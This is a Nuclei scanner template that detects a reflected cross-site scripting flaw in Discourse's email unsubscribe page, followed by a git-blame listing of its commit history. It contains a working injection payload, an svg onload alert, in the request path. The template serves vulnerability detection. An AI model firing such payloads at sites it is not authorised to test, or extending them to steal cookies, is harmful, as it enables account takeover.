nuclei-templates/http/vulnerabilities/other/discourse-xss.yaml

id: discourse-xss

info:
  name: Discourse - Cross-Site Scripting
  author: madrobot
  severity: high
  description: Discourse contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.cvedetails.com/vulnerability-list/vendor_id-20185/product_id-57316/opxss-1/Discourse-Discourse.html
    - https://github.com/discourse/discourse/security/advisories/GHSA-xhmc-9jwm-wqph
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  tags: xss,discourse
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<svg/onload=alert(/xss/)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header

# Enhanced by md on 2022/09/20
:abcd: Justifying id's 2020-09-01 02:25:25 +00:00			`id: discourse-xss`
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00
			`info:`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00			`name: Discourse - Cross-Site Scripting`
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00			`author: madrobot`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00			`severity: high`
			`description: Discourse contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.`
			`reference:`
			`- https://www.cvedetails.com/vulnerability-list/vendor_id-20185/product_id-57316/opxss-1/Discourse-Discourse.html`
			`- https://github.com/discourse/discourse/security/advisories/GHSA-xhmc-9jwm-wqph`
			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`
			`cvss-score: 7.2`
			`cwe-id: CWE-79`
Adding tags to vulnerabilities and workflows 2021-02-12 05:53:01 +00:00			`tags: xss,discourse`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00			`- method: GET`
			`path:`
Fix templates: change alert(xss) to alert(/xss/) (#4564) 2022-06-09 04:41:03 +00:00			`- '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'`
Fixed default condition OR to AND in false-positives 2020-07-08 11:38:57 +00:00			`matchers-condition: and`
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00			`matchers:`
			`- type: status`
			`status:`
Fix syntax 2020-05-24 22:19:21 +00:00			`- 200`
Adding tags to vulnerabilities and workflows 2021-02-12 05:53:01 +00:00
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00			`- type: word`
			`words:`
Fix templates: change alert(xss) to alert(/xss/) (#4564) 2022-06-09 04:41:03 +00:00			`- "<svg/onload=alert(/xss/)>"`
Create discourse-xss.yaml 2020-04-08 16:10:51 +00:00			`part: body`
Adding tags to vulnerabilities and workflows 2021-02-12 05:53:01 +00:00
			`- type: word`
			`words:`
			`- "text/html"`
Fix templates: change alert(xss) to alert(/xss/) (#4564) 2022-06-09 04:41:03 +00:00			`part: header`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00
			`# Enhanced by md on 2022/09/20`